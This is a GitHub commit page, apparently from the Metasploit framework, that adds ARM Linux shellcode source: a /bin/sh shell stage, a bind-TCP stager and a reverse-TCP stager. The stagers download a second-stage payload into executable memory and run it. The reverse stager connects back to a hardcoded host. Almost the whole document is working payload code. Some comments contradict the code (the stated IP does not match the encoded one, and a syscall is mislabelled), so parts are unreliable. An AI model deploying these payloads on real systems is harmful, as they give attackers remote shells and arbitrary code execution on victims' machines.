Skip to content

Commit e6433fc

Browse files
author
jvazquez-r7
committed
Add commented source code for stagers and stage
1 parent 52aae8e commit e6433fc

File tree

3 files changed

+227
-0
lines changed

3 files changed

+227
-0
lines changed

‎external/source/shellcode/linux/armle/stage_shell.s

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
@@
2+
@
3+
@ Name: generic
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ dup2 / execve("/bin/sh") stage for Linux ARM LE architecture.
10+
@@
11+
12+
.text
13+
.globl _start
14+
_start:
15+
int dup2(int oldfd, int newfd);
16+
mov r7,#63 ; __NR_dup2
17+
mov r1,#3
18+
up:
19+
mov r0,r12 ; oldfd (descriptor stored in r12 by the stager)
20+
sub r1,#1 ; newfd
21+
swi 0
22+
cmp r1,#1
23+
bge up
24+
@ execve(const char *path, char *const argv[], char *const envp[]);
25+
mov r7,#11 ; __NR_execve
26+
add r0,pc,#24 ; *path
27+
sub sp,#24
28+
str r0,[sp,#-20]
29+
mov r2,#0
30+
str r2,[sp,#-16]
31+
add r1,sp,#-20 ; *argv[]
32+
mov r2,r1 ; *envp[]
33+
swi 0
34+
.string "/bin/sh"

‎external/source/shellcode/linux/armle/stager_sock_bind.s

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
@@
2+
@
3+
@ Name: stager_sock_bind
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux portbind TCP stager for ARM LE architecture.
10+
@
11+
@ Socket descriptor in r12.
12+
@
13+
@ Assemble with: as stager_sock_bind.s -o stager_sock_bind.o
14+
@ Link with: ld stager_sock_bind.o -o stager_sock_bind
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Bind TCP Stager
19+
@ meta-description=Listen on a port for a connection and run a second stage
20+
@ meta-authors=nemo <nemo [at] felinemenace.org>
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=stager
24+
@ meta-connection-type=bind
25+
@ meta-name=bind_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
ldr r7,=281 @ __NR_socket
33+
mov r0,#2 @ domain = AF_INET
34+
mov r1,#1 @ type = SOCK_STREAM
35+
mov r2,#6 @ protocol = IPPROTO_TCP
36+
swi 0
37+
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38+
mov r12,r0 @ sockfd
39+
add r7,#1 @ __NR_bind
40+
add r1,pc,#176 @ *addr
41+
mov r2,#16 @ addrlen
42+
swi 0
43+
@ int listen(int sockfd, int backlog);
44+
add r7,#2 @ __NR_listen
45+
mov r0,r12 @ sockfd
46+
swi 0
47+
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
48+
add r7,#1 @ __NR_accept
49+
mov r0,r12 @ sockfd
50+
sub r1,r1,r1 @ *addr = NULL
51+
mov r2,r1 @ *addrlen = NULL
52+
swi 0
53+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
54+
mov r12,r0 @ sockfd
55+
sub sp,#4
56+
add r7,#6 @ __NR_recv
57+
mov r1,sp @ *buf (on the stack)
58+
mov r2,#4 @ len
59+
mov r3,#0 @ flags
60+
swi 0
61+
@ round length
62+
ldr r1,[sp,#0]
63+
ldr r3,=0xfffff000
64+
and r1,r1,r3
65+
mov r2,#1
66+
lsl r2,#12
67+
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
68+
add r1,r2 @ length
69+
mov r7, #192 @ __NR_mmap2
70+
ldr r0,=0xffffffff @ *addr = NULL
71+
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
72+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
73+
mov r4,r0 @ fd
74+
mov r5,#0 @ pgoffset
75+
swi 0
76+
@ recv loop
77+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
78+
add r7,#99 @ __NR_recv
79+
mov r1,r0 @ *buf
80+
mov r0,r12 @ sockfd
81+
mov r3,#0 @ flags
82+
@ remove blocksize from total length
83+
loop:
84+
ldr r2,[sp,#0]
85+
sub r2,#1000
86+
str r2,[sp,#0]
87+
cmp r2, #0
88+
ble last
89+
mov r2,#1000 @ len
90+
swi 0
91+
b loop
92+
last:
93+
add r2,#1000 @ len
94+
swi 0
95+
@ branch to code
96+
mov pc,r1
97+
@ addr
98+
@ port: 4444 , sin_fam = 2
99+
.word 0x5c110002
100+
@ ip
101+
.word 0x00000000

‎external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
@@
2+
@
3+
@ Name: stager_sock_reverse
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux reverse TCP stager for ARM LE architecture.
10+
@
11+
@ Socket descriptor in r12.
12+
@
13+
@ Assemble with: as stager_sock_reverse.s -o stager_sock_reverse.o
14+
@ Link with: ld stager_sock_reverse.o -o stager_sock_reverse
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Reverse TCP Stager
19+
@ meta-description=Connect back to the framework and run a second stage
20+
@ meta-authors=nemo <nemo [at] felinemenace.org>
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=stager
24+
@ meta-connection-type=reverse
25+
@ meta-name=reverse_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
ldr r7,=281 @ __NR_socket
33+
mov r0,#2 @ domain = AF_INET
34+
mov r1,#1 @ type = SOCK_STREAM
35+
mov r2,#6 @ protocol = IPPROTO_TCP
36+
swi 0
37+
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38+
mov r12,r0 @ sockfd
39+
add r7,#2 @ __NR_socket
40+
add r1,pc,#144 @ *addr
41+
mov r2,#16 @ addrlen
42+
swi 0
43+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
44+
mov r0,r12 @ sockfd
45+
sub sp,#4
46+
add r7,#8 @ __NR_recv
47+
mov r1,sp @ *buf (on the stack)
48+
mov r2,#4 @ len
49+
mov r3,#0 @ flags
50+
swi 0
51+
@ round length
52+
ldr r1,[sp,#0]
53+
ldr r3,=0xfffff000
54+
and r1,r1,r3
55+
mov r2,#1
56+
lsl r2,#12
57+
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
58+
add r1,r2 @ length
59+
mov r7, #192 @ __NR_mmap2
60+
ldr r0,=0xffffffff @ *addr = NULL
61+
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
62+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
63+
mov r4,r0 @ fd
64+
mov r5,#0 @ pgoffset
65+
swi 0
66+
@ recv loop
67+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
68+
add r7,#99 @ __NR_recv
69+
mov r1,r0 @ *buf
70+
mov r0,r12 @ sockfd
71+
mov r3,#0 @ flags
72+
@ remove blocksize from total length
73+
loop:
74+
ldr r2,[sp,#0]
75+
sub r2,#1000
76+
str r2,[sp,#0]
77+
cmp r2, #0
78+
ble last
79+
mov r2,#1000 @ len
80+
swi 0
81+
b loop
82+
last:
83+
add r2,#1000 @ len
84+
swi 0
85+
@ branch to code
86+
mov pc,r1
87+
@ addr
88+
@ port: 4444 , sin_fam = 2
89+
.word 0x5c110002
90+
@ ip: 127.0.0.1
91+
.word 0x01aca8c0
92+
@.word 0x0100007f

0 commit comments

Comments
 (0)